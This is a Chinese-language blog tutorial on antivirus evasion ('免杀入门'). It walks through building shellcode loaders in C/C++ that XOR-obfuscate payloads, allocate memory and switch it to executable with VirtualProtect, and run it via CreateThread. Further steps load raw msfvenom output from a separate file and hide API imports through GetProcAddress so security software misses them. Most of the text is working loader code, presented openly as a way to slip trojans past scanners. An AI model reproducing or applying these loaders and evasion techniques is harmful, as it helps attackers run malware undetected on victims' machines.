免杀入门
异或混淆
一个数经过与相同的数进行两次的异或之后就变回他本身
如110 xor 101 得011 而011 xor 101得110.
C语言代码实现
void main()
{
unsigned char buf[] = "";
int shellcodesize = sizeof(buf);
printf("%d\n",shellcodesize);
for(int i = 0;i<shellcodesize; i++)
{
buf[i] ^= 10;
}
for(int i = 0;i<shellcodesize; i++)
{
buf[i] ^= 10;
}
((void(*)(void)) & buf)();
}
去除特征1,手工为shellcode申请Windows内存
前置知识
Windows操作系统的内存有三种属性,分别为:可读、可写、可执行,并且操作系统将每个进程的内存都隔离开来,当进程运行时,创建一个虚拟的内存空间,系统的内存管理器将虚拟内存空间映射到物理内存上,所以每个进程的内存都是等大的。
在进程申请时,需要声明这块内存的基本信息:申请内存大小、申请内存起始内存基址、申请内存属性、申请内存对外的权限等。
申请方式:
- HeapAlloc
- malloc
- VirtualAlloc
- new
- LocalAlloc
其实以上所有的内存申请方式都与VirtualAlloc有关,因为VirtualAlloc申请的单位是“页”。而Windows操作系统管理内存的单位也是“页”。
//VirtualAlloc函数,在调用进程的虚拟地址空间中保留、提交或更改页面区域的状态。
VirtualAlloc(
NULL, // 基址
800, // 大小
MEM_COMMIT, // 内存页状态
PAGE_EXECUTE_READWRITE // 可读可写可执行
);
去除特征2,使用virtualAlloc申请可读可写内存,然后通过VirtualProtect改变它的属性 -> 可执行
//VirtualProtect 的 Win32 实现将更改对调用进程的虚拟地址空间中已提交页面区域的保护。
/*
HRESULT VirtualProtect (
[in] void* lpAddress,//一个指针,指向要更保护属性的虚拟内存的基址
[in] SIZE_T dwSize,//要更改的内存页面区域的大小(以字节为单位)。
[in] DWORD flNewProtect, //要应用的内存保护的类型。
[out] DWORD* pflOldProtect //一个指针,该指针指向前一个内存保护值。
int wmain(int argc, TCHAR* argv[]) {
int shellcode_size = 0; //shellcode长度
DWORD dwThreadId; //线程Id
HANDLE hThread; //线程句柄
DWORD dwOldProtect; //内存页属性
unsigned char buf[] = "";
shellcode_size = sizeof(buf);
for (int i = 0; i < shellcode_size; i++)
{
buf[i] ^= 10;
}
char* shellcode = (char*)VirtualAlloc(
NULL,
shellcode_size,
MEM_COMMIT,
PAGE_READWRITE //只申请可读可写
);
CopyMemory(shellcode, buf, shellcode_size); //将shellcode复制到可读可写的内存中
//VirtualProtect 的 Win32 实现将更改对调用进程的虚拟地址空间中已提交页面区域的保护。
/*
HRESULT VirtualProtect (
[in] void* lpAddress,//一个指针,指向要更保护属性的虚拟内存的基址
[in] SIZE_T dwSize,//要更改的内存页面区域的大小(以字节为单位)。
[in] DWORD flNewProtect, //要应用的内存保护的类型。
[out] DWORD* pflOldProtect //一个指针,该指针指向前一个内存保护值。
);
*/
VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); //更改属性为可执行
hThread = CreateThread(
NULL, // 安全描述符
NULL, // 栈的大小
(LPTHREAD_START_ROUTINE)shellcode, // 函数
NULL, // 参数
NULL, // 线程标志
&dwThreadId // 线程ID
);
WaitForSingleObject(hThread, INFINITE);
return 0;
}
去除特征3,程序外加载shellcode
msf生成一段raw二进制流源文件msfvenom -p xx -f raw -o fenli
c++读取二进制流文件
char *filename = argv[1];
// 以读模式打开文件
ifstream infile;
//以二进制方式打开
infile.open(filename,ios::out|ios::binary);
infile.seekg(0, infile.end); //追溯到流的尾部
int length = infile.tellg(); //获取流的长度
infile.seekg(0, infile.beg);//回溯到流头部
char *data = new char[length]; //存取文件内容
if (infile.is_open()) {
cout << "reading from the file" << endl;
infile.read(data, length);
}
去除特征4,自定义函数隐藏导入表
前置知识
杀毒软件扫描原理大体上可以分为三种,文件扫描,内存扫描,行为监控。其中文件和内存都是基于特征来进行扫描的。磁盘中的文件可以看作静态特征,内存中的数据可以看作动态特征。
在文件的导入地址表中,代码中调用的api一览无遗,Virtual Alloc、CreateThread这类函数是杀毒软件重点关注的对象,一个几十kb的程序调用了这些函数,极有可能是木马病毒。
Import Address Table 由于导入函数就是被程序调用但其执行代码又不在程序中的函数,这些函数的代码位于一个或者多个DLL 中,当PE 文件被装入内存的时候,Windows 装载器才将DLL 装入,并将调用导入函数的指令和函数实际所处的地址联系起来(动态连接),这操作就需要导入表完成.其中导入地址表就指示函数实际地址。
像这样的程序出来就是不行了,很容易就被杀软查杀到了
因此可以尝试在PE文件中抹去导入函数的名称。
尝试自己定义他们的函数指针,然后利用GetProcAddress获取函数地址,调用自己的函数名称。
//typedef用于类型定义,他允许用户为已经存在的数据类型起一个别名
//WINAPI 意味 __stdcall,是一种函数调用方式,stdcall调用方式的函数声明为:int _stdcall function(int a, int b);
/*
stdcall的调用方式意味着:
(1) 参数从右向左依次压入堆栈
(2) 由被调用函数自己来恢复堆栈
(3) 函数名自动加前导下划线,后面紧跟着一个@,其后紧跟着参数的尺寸
*/
//微软文档对VirtualAlloc函数的定义 使用vs右键查看定义
/*
LPVOID VirtualAlloc(
[in, optional] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flAllocationType,
[in] DWORD flProtect
);
*/
typedef LPVOID(WINAPI* ImportVirtualAlloc)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flAllocationType,
DWORD flProtect
);
//上述代码可以看作自己定义一个函数名为ImportVirtualAlloc,返回值、参数和VirtualAlloc相同的函数。
//下面的定义同理。
typedef HANDLE(WINAPI* ImportCreateThread)(
LPSECURITY_ATTRIBUTES lpThreadAttributes,
SIZE_T dwStackSize,
LPTHREAD_START_ROUTINE lpStartAddress,
__drv_aliasesMem LPVOID lpParameter,
DWORD dwCreationFlags,
LPDWORD lpThreadId);
typedef BOOL(WINAPI* ImportVirtualProtect)(
LPVOID lpAddress,
SIZE_T dwSize,
DWORD flNewProtect,
PDWORD lpflOldProtect
);
然后使用在调用virtualAlloc的地方使用GetProcAddress获取函数地址并赋值给我们自己新定义的函数名称即可
ImportVirtualAlloc MyVirtualAlloc = (ImportVirtualAlloc)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualAlloc");
ImportCreateThread MyCreateThread = (ImportCreateThread)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "CreateThread");
ImportVirtualProtect MyVirtualProtect = (ImportVirtualProtect)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "VirtualProtect");
ImportWaitForSingleObject MyWaitForSingleObject = (ImportWaitForSingleObject)GetProcAddress(GetModuleHandle(TEXT("kernel32.dll")), "WaitForSingleObject");
完整代码可参考博客自行完善:
https://luckyfuture.top/
https://payloads.online/
后续学习目标:学习加壳技术,shellcode加密解密,shellcode服务端远程加载
https://bbs.pediy.com/thread-250960.htm#msg_header_h3_3
版权声明:本文为原创文章,版权归 Bill's Blog 所有,转载请注明出处!如相关链接出现404,可以在文章下面评论留言。